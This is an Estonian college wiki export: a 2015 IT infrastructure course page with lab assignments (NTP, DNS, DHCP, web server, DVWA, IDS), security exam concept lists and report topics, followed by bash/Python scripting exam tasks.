Aine on jagatud praktilisteks ja teoreetilisteks töödeks. Kaheksaks (8) laboriks ning kaheks (2) teoreetiliseks kontrolltööks. &lt;br /&gt;
&lt;br /&gt;
Lisaks on tarvis teha eraldi dokumentatsiooni ehk ühe kaitstud labori kohta &#039;&#039;&#039;viki artikkel&#039;&#039;&#039;. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Praktiliste tööde&#039;&#039;&#039; hulka kuuluvad erinevate teenuste paigaldamine ning seadistamine. Ühe labori eest on võimalik saada maksimaalselt 6 punkti. &lt;br /&gt;
&lt;br /&gt;
* 2 punkt on võimalik saada teenuse seadistamise, paigaldamise ning suulise kaitsmise eest. (Õppejõud võib seadistust muuta ning paluda paranduste kohta selgitust)&lt;br /&gt;
* 4 punkti on võimalik saada, kui kaitsta oskuslikult konkreetse labori kohta käivad teoreetilised teadmised suuliselt õppejõule. (Küsimused esitab õppejõud)&lt;br /&gt;
* 6 punkti on võimalik saada, kui parandada konkreetse teema kohta käivat juhendit ning esitada tulemuse õppejõule. (Mõeldud ambitsioonikamatele tudengitele)&lt;br /&gt;
&lt;br /&gt;
Lävendiks on 2 punkt, mis tähendab praktilise osa teostust. Kui iga labori eest on ainult 2 punkt, tuleb teoreetilised teadmised kaitsta kontrolltöö käigus, aga kui iga labori eest on vähemalt 4 punkti, ei ole kontrolltööd tarvis teha. &lt;br /&gt;
&lt;br /&gt;
==Tähtajad päevaõppele 2015==&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (laborid 1-3): 16. märts&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (Laborid 4-6): 18. mai&lt;br /&gt;
&lt;br /&gt;
Praktilise töö labori kaitsmised (Labor 8): ~20. mai&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dokumentatsioon (viki artikkel): 25. mai&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 1: 16. märts&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 2: 18. mai&lt;br /&gt;
&lt;br /&gt;
==Tähtajad kaugõppele 2015==&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (laborid 1-3): &lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (Laborid 4-6):&lt;br /&gt;
&lt;br /&gt;
Praktilise töö labori kaitsmised (Labor 8): &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dokumentatsioon (viki artikkel): &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 1: &lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 2:&lt;br /&gt;
&lt;br /&gt;
=Loengud=&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Kaugõppe 2015. aasta kevadsemestri loengusalvestused on leitavad [https://echo360.e-ope.ee/ess/portal/section/57596897-5ba5-46cb-b1b2-b4a4619f5eb0 siit]&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/loeng00%20-%20Sissejuhatav%20loeng.odp Sissejuhatav loeng] - &amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;NB siin on kirjas hindamiskriteeriumid ja tähtajad.&amp;lt;/span&amp;gt; Lisaks on kirjas kontrolltööde ajad ja muu aine läbimiseks oluline info. (Päevaõppes toimus 02.02.2014)&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/skriptimine/bash/src/juurteenused-ntp.html NTP teenus] (Päevaõppes toimus 02.02.2015)&lt;br /&gt;
&lt;br /&gt;
[https://www.us-cert.gov/ncas/alerts/TA14-013A NTP amplification Attack]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;Kodutöö nr 1. Tähtaeg 9.02.2015. DNS loenguks lugeda läbi DNS põhimõisted järgnevatest materjalidest:&amp;lt;/span&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Kohustuslik:&lt;br /&gt;
http://kuutorvaja.eenet.ee/wiki/DNS_ja_BIND&lt;br /&gt;
&lt;br /&gt;
Soovituslik:&lt;br /&gt;
http://kuutorvaja.eenet.ee/wiki/DNS&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Interneti%20domeeninimede%20s%c3%bcsteem%20-%20IT%20infra%20loeng.odp DNS loeng (OpenDocument)] [http://enos.itcollege.ee/~mernits/infrastruktuur/Interneti%20domeeninimede%20s%c3%bcsteem%20-%20IT%20infra%20loeng.pdf (PDF)]&lt;br /&gt;
&lt;br /&gt;
[http://elab.itcollege.ee:8000/infra/bind/ BIND9 konfiguratsiooni näitefailid]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1ZeQpPXdVq1C7RQpxQYR0gBB0OBMYB_0g6aFFxs_-fIA/edit DNS näide]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Infra%20loeng%20DHCP%202013.odp DHCP loeng]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1yUEWHldPhIbeVRh3k-zmwEg1OJmIGywMKVZY4XslpDY/edit# DHCP näitelabor]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/14Cj90aWN4n4MCO_zZlZzu0aHJeIDTPEfQgiDXIuMxF4/edit# DNS uuendamine DHCP abil]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng04%20-%20Veebiserver.odp Veebiserveri loeng] &lt;br /&gt;
&lt;br /&gt;
Screencast veebiserveri konfigureerimisest: &lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-1.ogv&lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-2.ogv&lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-3.ogv&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;Kodutöö nr 2. Tähtaeg 20.aprill.2015. Lugeda läbi [http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202013%20-%20RC1.pdf OWASP top 10 2013] &amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Mõisted kontrolltööks ja arvestuseks=&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Esimese kontrolltöö küsimused:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
*DNS mõistete kohta leiab infot: http://kuutorvaja.eenet.ee/wiki/DNS&lt;br /&gt;
*hostinimi (mis märgid on hostinimes lubatud ja kus?)&lt;br /&gt;
*host täisnimi&lt;br /&gt;
*domeeni täisnimi&lt;br /&gt;
*DNS&lt;br /&gt;
*A-kirje&lt;br /&gt;
*alias ehk CNAME&lt;br /&gt;
*puhverdamine&lt;br /&gt;
*dig ja selle kasutamine&lt;br /&gt;
*DNS spoofing&lt;br /&gt;
*domeen ja domeeninimi&lt;br /&gt;
*Authoritative ehk pädev server&lt;br /&gt;
*Forwarding ehk edastamine&lt;br /&gt;
*FQDN&lt;br /&gt;
*Host&lt;br /&gt;
*PTR-kirje&lt;br /&gt;
*rekursiivne lahendus&lt;br /&gt;
*primaarne server&lt;br /&gt;
*sekundaarne server&lt;br /&gt;
*open resolver&lt;br /&gt;
*kuidas nimelahendus töötab, kirjelda näiteks &amp;quot;kui veebisirvijas avatakse leht, siis mis võiks toimuda?&amp;quot;&lt;br /&gt;
*selgitage näitekonfi&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$TTL    600&lt;br /&gt;
@       IN      SOA     planet.zz. root.planet.zz. (&lt;br /&gt;
                              3         ; Serial - Mida see tähendab?&lt;br /&gt;
                         3600           ; Refresh - Mida see tähendab?&lt;br /&gt;
                          8640          ; Retry - Mida see tähendab?&lt;br /&gt;
                        36000           ; Expire - Mida see tähendab?&lt;br /&gt;
                         3600 ) ; Negative Cache TTL - Mida see tähendab?&lt;br /&gt;
;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Teise kontrolltöö küsimused:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
*virtuaalhost&lt;br /&gt;
*http&lt;br /&gt;
*Kuidas toimub ssl/tls ühenduse algatamine?&lt;br /&gt;
*Mis vahe on sümmeetrilisel ja asümmeetrilisel krüpteerimisel?&lt;br /&gt;
*Mis vahe on avalikul võtmel ja sertifikaadil?&lt;br /&gt;
*https&lt;br /&gt;
*SNI&lt;br /&gt;
*IPS&lt;br /&gt;
*IDS&lt;br /&gt;
*Mis vahe on reflected XSS ja stored XSS rünnetel?&lt;br /&gt;
*Mis vahe on SQL injectionil ja blind SQL injectionil?&lt;br /&gt;
*Mis on secure cookie? (http://php.net/session.cookie-secure ;session.cookie_secure =)&lt;br /&gt;
*Mis tähendab, et küpsised on http_only?&lt;br /&gt;
*Kas XSS ründeid saab filtreerida andmebaasikihis, näiteks SQL tulemüüriga?&lt;br /&gt;
*Mis on CSRF ja kuidas see toimib?&lt;br /&gt;
*Mis on same origin policy?&lt;br /&gt;
&lt;br /&gt;
=Dokumentatsioon=&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng05%20-%20Dokumentatsioon.odp Dokumentatsioonist (loeng)]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Aruannete%20hindamise%20juhend.pdf Hindamismaatriksi näide]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= ReferaadiTeemad 2015 =&lt;br /&gt;
&lt;br /&gt;
[[SQL tulemüürid]] -- Otsida erinevaid SQL tulemüüre ja kirjata nende põhiparameerid&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[sqlmap]]&lt;br /&gt;
&lt;br /&gt;
[[Kippo SSH Honeypot]]&lt;br /&gt;
&lt;br /&gt;
[[p0f]] http://tools.kali.org/information-gathering/p0f&lt;br /&gt;
&lt;br /&gt;
[[hping]] http://www.hping.org/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Yersinia]] -  http://www.yersinia.net/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[WPScan]] - http://wpscan.org/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Aircrack]]&lt;br /&gt;
&lt;br /&gt;
[[ntop]]&lt;br /&gt;
&lt;br /&gt;
[[Nikto]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Varnish]] - Artikkel on olemas, kuid vajab kaasajastamist (Artikli valimise korral kirjuta artikli algusesse suurelt: Kaasajastab &amp;lt;Sinu ees- ja perekonnanimi&amp;gt;, 2015, &amp;lt;rühm&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[DigiNotar]]&lt;br /&gt;
&lt;br /&gt;
[[Ipkungfu Tulemüür]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[iodine]]&lt;br /&gt;
&lt;br /&gt;
=Abimaterjal=&lt;br /&gt;
* [http://tools.ietf.org/html/rfc2131 RFC2131] &lt;br /&gt;
* [http://kuutorvaja.eenet.ee/wiki/Isc-dhcpd_server Kuutõrvaja DHCP materjal] &lt;br /&gt;
&lt;br /&gt;
Abimaterjal laboriks: &lt;br /&gt;
* Maskeraad [[Ufw]]&lt;br /&gt;
* DHCP serveri seadistamine [[DHCP]]&lt;br /&gt;
* [http://www.debian-administration.org/article/343/Configuring_Dynamic_DNS__DHCP_on_Debian_Stable Dünaamiline DNS kirjete uuendamine DHCP poolt]&lt;br /&gt;
* [http://debianclusters.org/index.php/Troubleshooting_DHCP DHCP probleemide lahendamine]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng11%20-%20Monitooring.odp Loeng 11 Monitooring]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng12%20-%20LDAP.odp Loeng 12 LDAP]&lt;br /&gt;
&lt;br /&gt;
=Praktilised tööd=&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/spreadsheets/d/1TiErlKTrnW3T_dcjceMyeLr9yCHBDwTmjXDxkAf1hDw/edit?usp=sharing Nimekiri] DNS labori masinate IP vahemikega ning domeeninimedega&lt;br /&gt;
&lt;br /&gt;
==Sissejuhatav praktikum==&lt;br /&gt;
&lt;br /&gt;
Valige endale domeeninimi, näiteks eikkasutaja.zz.&lt;br /&gt;
&lt;br /&gt;
Seadke DNS serverile IP aadress 192.168.56.201&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nano /etc/network/interfaces # Avab võrguliideste faili.&lt;br /&gt;
# DNS serveri eth1 võrguliidesel tuleb muuta esialgne IP-address 192.168.56.200 uueks IP-addressiks 192.168.56.201&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
  address 192.168.56.201&lt;br /&gt;
  netmask 255.255.255.0&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Taaskäivitage võrguliides &#039;&#039;&#039;eth1&#039;&#039;&#039;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifdown eth1 &amp;amp;&amp;amp; ifup eth1&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Muutke DNS serveril hostinimi ns.sinudomeen.&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo ns &amp;gt; /etc/hostname&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Muutke /etc/hosts failis masinanimi&lt;br /&gt;
&lt;br /&gt;
127.0.1.1       ns.sinudomeen   ns&lt;br /&gt;
&lt;br /&gt;
Näiteks valisin oma domeeniks mernits.zz&lt;br /&gt;
&lt;br /&gt;
127.0.1.1       ns.mernits.zz   ns&lt;br /&gt;
&lt;br /&gt;
startige teenus &#039;&#039;&#039;hostname&#039;&#039;&#039;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service hostname start&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Korraldus hostname -f peab tagastama FQDN-i&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
hostname -f&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Seadistage ka võtmetepõhine autentimine [[OpenSSH: võtmetega autentimine]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Image:Infra-a21-2015.png|thumb|Kasutatav võrk]]&lt;br /&gt;
&lt;br /&gt;
==Labor 1 - NTP seadistamine (6p/6%)==&lt;br /&gt;
Loe läbi õppematerjal (loengud) ja seadista NTP teenus nii kliendis, kui ka serveris selliselt, et klient küsib aega ainult serverist (ja ka localhostist, mille prioriteet on madal e fudge 10) Server küsib aega EENET NTP serverist ja mõnest muust Eestis asuvast NTP serverist.&lt;br /&gt;
&lt;br /&gt;
Seadistage server selliselt, et ei välisvõrgust ei saa teha järgmisel lingil kirjeldatud rünnet https://www.us-cert.gov/ncas/alerts/TA14-013A&lt;br /&gt;
&lt;br /&gt;
[[NTP Ubuntus]]&lt;br /&gt;
&lt;br /&gt;
==Labor 2 - DNS seadistamine (6p/6%)==&lt;br /&gt;
&lt;br /&gt;
*Mõtle välja endale domeeninimi&lt;br /&gt;
*Loo domeeninimele tsoonifail ja seadiste nimeserver&lt;br /&gt;
*Luba rekursiivne lahendus oma sisevõrgust&lt;br /&gt;
*Loo reevers tsoon&lt;br /&gt;
*Loo A kirjed e-posti, nimeserveri jaoks&lt;br /&gt;
*Loo CNAME kirjed www, samba ja oma severi jaoks&lt;br /&gt;
&lt;br /&gt;
Näitelahendus [https://docs.google.com/document/d/1ZeQpPXdVq1C7RQpxQYR0gBB0OBMYB_0g6aFFxs_-fIA/edit Domain Name Server ehk nimeserveri labor]&lt;br /&gt;
&lt;br /&gt;
Näitelahendus2 [[Nimeserveri labor V.2]]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/dns/DNS_BIND.html Väike abiinfo lisaks loengule]&lt;br /&gt;
&lt;br /&gt;
Kaitsmisel pead oskama luua uut tsooni, lisama kirjeid, oskama kasutada rndc, dig, nslookup vahendeid.&lt;br /&gt;
&lt;br /&gt;
==Labor 3 - DHCP seadistamine (6p/6%)==&lt;br /&gt;
* DHCP paigaldamine ja seadistamine (6p)&lt;br /&gt;
&lt;br /&gt;
Seadista labori desktop VM saamaks IP aadressi ja nimeserverit sama labori serveri VM käest.&lt;br /&gt;
&lt;br /&gt;
PS: desktop võrguseadetest eemalda esimeselt liideselt nimelahenduse küsimine (küsitakse DHCP abil ainult IP aadress). Kui seda ei tee, siis lähevad DNS päringud ikkagi esimese, NAT liidese kaudu.&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1yUEWHldPhIbeVRh3k-zmwEg1OJmIGywMKVZY4XslpDY/edit DHCP näitelabor]&lt;br /&gt;
&lt;br /&gt;
==Labor 4 - apache (või nginx) veebiserveri seadistamine (6p/6%)==&lt;br /&gt;
* Loo kaks virtualhosti nii http, kui ka https (self-signed cert) tarbeks.&lt;br /&gt;
** Mõlemad nimied peavad sirvijas töötama (desktop arvutis) nii http, kui ka https abil ja esilehel peab olema selgelt näha kumma virutalhostiga on tegemist. Seega index.html sisse lisa virtualhosti nimi.&lt;br /&gt;
&lt;br /&gt;
* Abimaterjalina võib sobida: Apache2 paigaldamine ja virtualhostide seadistamine [[Virtualhost apache2 näitel]]. Algajale lisamaterjal [[Veebiserveri labor v.2]]&lt;br /&gt;
&lt;br /&gt;
==Labor 5 - mõne veebirakenduse (nt Wordpress) paigaldamine ja turvamine varnishiga (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
Labori eesmärgiks on paigaldada veebirakendus, mõõta selle jõudlust ja seejärel suurendada veebirakenduse jõudlust kasutades puhvermälu. Veebirakenduse ja puhvermälu võib iga tudeng ise valida. Näite teeme WordPress ja WP SuperCace abil. Samas on väga soovitatav valida cache tehnoloogia ise, et erinevad inimesed saaksid võrrelda erinevaid asju.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Wordpress paigaldamine https://docs.google.com/document/d/1AKVigVudVjxQuCz02i6p4Kv8oO4RD6aJiV9pbPuujZY/edit?pli=1&lt;br /&gt;
&lt;br /&gt;
* Wordpress paigaldamine ja jõudluse testimine (varnish) &lt;br /&gt;
[[WordPress turvamine]]&lt;br /&gt;
&lt;br /&gt;
http://wpdevshed.com/top-cache-plugins-wordpress/&lt;br /&gt;
&lt;br /&gt;
[[Varnish]] - vaata http://www.howtoforge.com/putting-varnish-in-front-of-apache-on-ubuntu-debian&lt;br /&gt;
[[Apache logide seadistus]]&lt;br /&gt;
&lt;br /&gt;
==Labor 6 - DVWA paigaldamine ja OWASP testimine (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
Paigaldage DVWA: https://wiki.itcollege.ee/index.php/DVWA&lt;br /&gt;
&lt;br /&gt;
Loe läbi OWASP top 10 ja [http://enos.itcollege.ee/~ttanav/VRI/abiks/mysql_tut.php SQL põhitõed]&lt;br /&gt;
&lt;br /&gt;
Mõned videod:&lt;br /&gt;
&lt;br /&gt;
* https://www.youtube.com/watch?v=CDbWvEwBBxo&lt;br /&gt;
&lt;br /&gt;
==Labor 7 - rakenduste tulemüürid (greensql ja mod_security baasil) (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
==Labor 8 - IDS (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Seadistada IDS/IPS ühele oma valitud serverile ja demonstreeida ühe-kahe reegli toimimist.&lt;br /&gt;
&lt;br /&gt;
Juhend: https://wiki.itcollege.ee/index.php/IDS_Systeemid_-_Labor_1&lt;br /&gt;
&lt;br /&gt;
Abistav materjal: https://wiki.itcollege.ee/index.php/Suricata&lt;br /&gt;
&lt;br /&gt;
==Questid, millede eest saab punkte==&lt;br /&gt;
&lt;br /&gt;
Quest 1 (Läbi ja tehtud) - https://docs.google.com/document/d/1oRt9JLF6lcf_Z-ReHCfbZXnSoc-EOBzGprxvIyhq4qk/edit?usp=sharing&lt;br /&gt;
&lt;br /&gt;
=Esitatud referaadid=&lt;br /&gt;
[[IT infrastruktuuri teenused 2013 kevad]]&lt;br /&gt;
&lt;br /&gt;
[[Wordpressi turvalisuse suurendamine]]&lt;br /&gt;
&lt;br /&gt;
=Juurteenuste kursus=&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/skriptimine/bash/src/juurteenused.html Interneti juurteenused]&lt;br /&gt;
&lt;br /&gt;
=Täiendav lugemismaterjal=&lt;br /&gt;
[https://zib.wooop.biz/category/asd/ Erinevad juhendmaterjalid Linuxi teenuste jm seadistamiseks. Autor Gert Vaikre A21]&lt;br /&gt;
&lt;br /&gt;
=Vanad loengumaterjalid=&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng00%20-%20Sissejuhatav%20loeng.odp Loeng 00 - Sissejuhatav loeng - NB Tähtajad ja nõuded]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng01%20-%20E-post.odp Loeng 01 E-post]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng03%20-%20Failiserver.odp Loeng 03 Failiserver]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng04%20-%20Veebiserver.odp Loeng 04 Veebiserver]&lt;br /&gt;
&lt;br /&gt;
[http://goo.gl/6XQ0U WordPress seadistamine]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng05%20-%20Dokumentatsioon.odp Loeng 05 Dokumentatsioon]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng06%20-%20VPN.odp Loeng 06 VPN]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng07%20-%20iptables.odp Loeng 07 Tulemüürid]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng08%20-%20SAN%20-%20NAS%20-%20CAS.odp Loeng 08 SAN NAS CAS]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng09%20-%20Virtualiseerimine.odp Loeng 09 Virtualiseerimine]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng10%20-%20DHCP.odp Loeng 10 DHCP]&lt;/div&gt;</summary>
		<author><name>Mernits</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Skriptimiskeelte_arvestust%C3%B6%C3%B6d_ja_kontrollt%C3%B6%C3%B6d&amp;diff=88655</id>
		<title>Skriptimiskeelte arvestustööd ja kontrolltööd</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Skriptimiskeelte_arvestust%C3%B6%C3%B6d_ja_kontrollt%C3%B6%C3%B6d&amp;diff=88655"/>
		<updated>2015-05-19T07:41:20Z</updated>

		<summary type="html">&lt;p&gt;Mernits: /* Python/BASH kontrolltöö 19. mai 2015.a. */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Python/BASH kontrolltöö 19. mai 2015.a.==&lt;br /&gt;
&lt;br /&gt;
Loo skript, mis saab käsurealt kolm parameetrit. 1. string 2. sisendfail 3. väljundfail&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Skript kontrollib, kas sisendfaili saab lugemiseks avada (vastasel juhul exit 1)&lt;br /&gt;
* Skript kontrollib, kas väljundfaili saab kirjutamiseks avada. (vastasel juhul exit 2)&lt;br /&gt;
* Skript kontrollib, kas parameetreid on täpselt kolm (vastasel juhul exit 3)&lt;br /&gt;
&lt;br /&gt;
Skript kirjutab väljundfaili kõik read sisendfailist, mis sisaldavad esimese argumendina antud sõna.&lt;br /&gt;
&lt;br /&gt;
==BASH kontrolltöö 12. mai 2015.a.==&lt;br /&gt;
&lt;br /&gt;
Loo skript, mis saab käsurealt kolm parameetrit. 1. kasutajanimi 2. Väljundfail 3. kataloog&lt;br /&gt;
&lt;br /&gt;
* Skript kontrollib, et kasutajanimi on olemas. (vastasel juhul exit 1)&lt;br /&gt;
* Skript kontrollib, kas väljundfaili saab kirjutamiseks avada. (vastasel juhul exit 2)&lt;br /&gt;
* Skript kontrollib, kas parameetreid on täpselt kolm (vastasel juhul exit 3)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Skript kirjutab väljundfaili kõikide failide nimekirja, kuhu esimese parameetrina antud kasutaja saab kirjutada ja mis asuvad kolmanda parameetrina antud kataloogis või selle alamkataloogides.&lt;br /&gt;
&lt;br /&gt;
==BASH kontrolltöö 7. aprill 2015.a.==&lt;br /&gt;
&lt;br /&gt;
Loo skript, mis saab käsurealt kaks parameetrit. 1. Sisendfail 2. Väljundfail&lt;br /&gt;
&lt;br /&gt;
* Skript kontrollib, et sisendfail on fail ja loetav. (vastasel juhul exit 1)&lt;br /&gt;
* Skript kontrollib, kas väljundfaili saab kirjutamiseks avada. (vastasel juhul exit 2)&lt;br /&gt;
* Skript kontrollib, kas parameetreid on täpselt kaks (vastasel juhul exit 3)&lt;br /&gt;
&lt;br /&gt;
* Skript loeb sisendfailist failide ja kataloogide nimekirja (näiteks kujul)&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/etc/passwd&lt;br /&gt;
/etc/&lt;br /&gt;
/var/log&lt;br /&gt;
/sedapoleolemas&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Skript kirjutab väljundfaili failinime ja kas tegu oli failiga (FAIL) või kataloogoga (DIR). Lisaks kirjutab skript väljundfaili faili või kataloogi omaniku. Kui faili/kataloogi ei ole, siis kirjutab (not found). Tulpade eraldajateks on komad. Näiteväljund eelmise näite kohta.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/etc/passwd,FAIL,root&lt;br /&gt;
/etc/,DIR,root&lt;br /&gt;
/var/log,DIR,root&lt;br /&gt;
/sedapoleolemas,not found&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Arvestus 18.oktoober kaugõpe==&lt;br /&gt;
&lt;br /&gt;
Loo skript, mis laeb etteantud asukohast alla ühe faili ja kui fail on gz|tar, siis pakib vastava faili lahti teise parameetrina antud kausta (kui kausta pole, siis luuakse). Kui skriptil on kolmas parameeter, siis sätib kausta omanikuks kolmanda parameetri väärtuse ja kui skriptil on neljas parameeter, siis sätib kausta grupiks neljanda parameetri. Skript peab kontrollima, et käivitatakse root õigustes.&lt;br /&gt;
&lt;br /&gt;
./skript http://enos.itcollege.ee/~mernits/a/kala kaust kasutajanimi grupp&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
http://enos.itcollege.ee/~mernits/a/kala&lt;br /&gt;
http://enos.itcollege.ee/~mernits/a/kala2&lt;br /&gt;
&lt;br /&gt;
==Arvestus 7.november kaugõpe==&lt;br /&gt;
&lt;br /&gt;
NB: seda saab lahendada siis, kui bash kodutööd (failiteenus, veebiteenus või õppejõuga kokkulepitud kodutöö on saadetud). Lahendusi ootan 14:00-ks&lt;br /&gt;
&lt;br /&gt;
Loo skript, mis saab käsurealt 2 parameetrit 1. kasutajanimi 2. failinimi&lt;br /&gt;
&lt;br /&gt;
Skript peab kontrollima, et oleks kaks parameetrit, lisaks kasutaja peab olemas olema ja fail loetav. Kui tingimused pole täidetud, siis tuleb kasutajat teavitada ja väljuda veakoodiga 1.&lt;br /&gt;
&lt;br /&gt;
Teise parameetrina antud failinimes on failide ja kataloogide nimekiri iga kirje eraldi real, nagu näiteks:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/var/kala&lt;br /&gt;
/var/kala/kala.txt&lt;br /&gt;
/var/kala/kala2.txt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Skript sätib kõikide failide omanikuks kasutaja, mis anti esimese parameetrina. Kataloogide puhul ei tohi omaniku muuta. St näites on esimene rida ilmselt kataloog (seda tuleb ise testida -d abil näiteks), siis esimese rea puhul ei tehta midagi.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kui faili/kataloogi ei ole, siis tuleb vastav fail/kataloog ise tekitada. Kui rea lõpus on / siis tuleb teha kataloog (kui pole) ja kui rida ei lõpe / märgiga siis tuleb luua fail, kui seda pole. Kui skript ise loob faile/katalooge, siis omanikuks/grupiks on käsurea esimene parameeter.&lt;br /&gt;
&lt;br /&gt;
==Arvestus 8.november kaugõpe==&lt;br /&gt;
